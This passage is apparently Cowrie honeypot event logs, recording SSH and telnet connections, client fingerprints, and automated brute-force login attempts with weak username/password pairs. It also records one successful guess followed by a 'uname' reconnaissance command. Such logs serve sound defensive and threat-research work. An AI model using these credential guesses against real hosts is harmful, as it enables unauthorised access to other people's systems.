12","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:52:40.692399Z","src_ip":"43.245.97.82","session":"d66e64f32f94","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"playground","password":"playground","message":"login attempt [playground/playground] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:52:41.536267Z","src_ip":"95.38.165.118","session":"6424480d4332","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:52:41.601943Z","src_ip":"77.239.106.153","session":"cc77e94f426d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!qaz2wsx","message":"login attempt [root/!qaz2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:52:41.664952Z","src_ip":"43.245.97.82","session":"d66e64f32f94","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:52:42.903979Z","src_ip":"43.245.97.82","session":"d66e64f32f94","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:52:43.107856Z","src_ip":"95.38.165.118","session":"6424480d4332","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":47520,"dst_ip":"10.17.0.5","dst_port":22,"session":"62f41bcb8675","protocol":"ssh","message":"New connection: 95.38.165.118:47520 (10.17.0.5:22) [session: 62f41bcb8675]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:52:45.988705Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:52:46.169201Z","src_ip":"95.38.165.118","session":"62f41bcb8675","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:52:46.243023Z","src_ip":"95.38.165.118","session":"62f41bcb8675","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abcd@1234","message":"login attempt [root/abcd@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:52:47.334476Z","src_ip":"95.38.165.118","session":"62f41bcb8675","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:52:50.012829Z","src_ip":"95.38.165.118","session":"62f41bcb8675","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":59460,"dst_ip":"10.17.0.5","dst_port":22,"session":"a875f89001cd","protocol":"ssh","message":"New connection: 95.38.165.118:59460 (10.17.0.5:22) [session: a875f89001cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:52:50.705894Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:52:51.003691Z","src_ip":"95.38.165.118","session":"a875f89001cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:52:51.007537Z","src_ip":"95.38.165.118","session":"a875f89001cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test@123","message":"login attempt [root/test@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:52:52.717643Z","src_ip":"95.38.165.118","session":"a875f89001cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":70.60935258865356,"message":"Connection lost after 70 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:52:53.539833Z","src_ip":"178.128.93.180","session":"e33f1287aec8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:52:54.395728Z","src_ip":"95.38.165.118","session":"a875f89001cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":56372,"dst_ip":"10.17.0.5","dst_port":22,"session":"595e47f5d2ed","protocol":"ssh","message":"New connection: 95.38.165.118:56372 (10.17.0.5:22) [session: 595e47f5d2ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:52:56.556790Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:52:56.629306Z","src_ip":"95.38.165.118","session":"595e47f5d2ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:52:56.738990Z","src_ip":"95.38.165.118","session":"595e47f5d2ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":56386,"dst_ip":"10.17.0.5","dst_port":22,"session":"61a0ff3a9c3a","protocol":"ssh","message":"New connection: 95.38.165.118:56386 (10.17.0.5:22) [session: 61a0ff3a9c3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:53:02.567658Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:53:02.572729Z","src_ip":"95.38.165.118","session":"61a0ff3a9c3a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:53:06.240868Z","src_ip":"95.38.165.118","session":"61a0ff3a9c3a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"trader","password":"trader","message":"login attempt [trader/trader] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:53:07.036923Z","src_ip":"95.38.165.118","session":"61a0ff3a9c3a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":37422,"dst_ip":"10.17.0.5","dst_port":22,"session":"6dbcc2c241f7","protocol":"ssh","message":"New connection: 95.38.165.118:37422 (10.17.0.5:22) [session: 6dbcc2c241f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:53:07.944710Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:53:07.959072Z","src_ip":"95.38.165.118","session":"6dbcc2c241f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:53:08.138296Z","src_ip":"95.38.165.118","session":"6dbcc2c241f7","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:53:09.273638Z","src_ip":"95.38.165.118","session":"61a0ff3a9c3a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:53:09.277842Z","src_ip":"95.38.165.118","session":"61a0ff3a9c3a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"password","message":"login attempt [ubuntu/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:53:09.405789Z","src_ip":"95.38.165.118","session":"6dbcc2c241f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:53:10.577955Z","src_ip":"95.38.165.118","session":"6dbcc2c241f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.40.30.168","src_port":52708,"dst_ip":"159.203.135.109","dst_port":22,"session":"61e03f5d9d14","protocol":"ssh","message":"New connection: 185.40.30.168:52708 (159.203.135.109:22) [session: 61e03f5d9d14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:53:11.181577Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:53:11.187447Z","src_ip":"185.40.30.168","session":"61e03f5d9d14","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:53:11.315117Z","src_ip":"185.40.30.168","session":"61e03f5d9d14","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"2.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:53:11.329849Z","src_ip":"95.38.165.118","session":"61a0ff3a9c3a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.8","message":"Connection lost after 8.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:53:11.335736Z","src_ip":"95.38.165.118","session":"61a0ff3a9c3a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"geonode","password":"geonode","message":"login attempt [geonode/geonode] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:53:11.837896Z","src_ip":"185.40.30.168","session":"61e03f5d9d14","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sonar","password":"123456","message":"login attempt [sonar/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:53:12.920649Z","src_ip":"95.38.165.118","session":"595e47f5d2ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:53:12.964697Z","src_ip":"185.40.30.168","session":"61e03f5d9d14","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":37424,"dst_ip":"10.17.0.5","dst_port":22,"session":"12bae914d196","protocol":"ssh","message":"New connection: 95.38.165.118:37424 (10.17.0.5:22) [session: 12bae914d196]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:53:13.200416Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:53:13.206763Z","src_ip":"95.38.165.118","session":"12bae914d196","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:53:13.384547Z","src_ip":"95.38.165.118","session":"12bae914d196","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user4","password":"user4","message":"login attempt [user4/user4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:53:13.973521Z","src_ip":"95.38.165.118","session":"12bae914d196","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:53:15.590286Z","src_ip":"95.38.165.118","session":"12bae914d196","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":57572,"dst_ip":"159.203.135.109","dst_port":23,"session":"3796ce8171c4","protocol":"telnet","message":"New connection: 69.4.83.194:57572 (159.203.135.109:23) [session: 3796ce8171c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:53:15.872841Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":7690,"dst_ip":"10.17.0.5","dst_port":22,"session":"550efa8c6506","protocol":"ssh","message":"New connection: 87.251.64.176:7690 (10.17.0.5:22) [session: 550efa8c6506]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:53:15.935345Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:53:15.943066Z","src_ip":"87.251.64.176","session":"550efa8c6506","protocol":"ssh"}
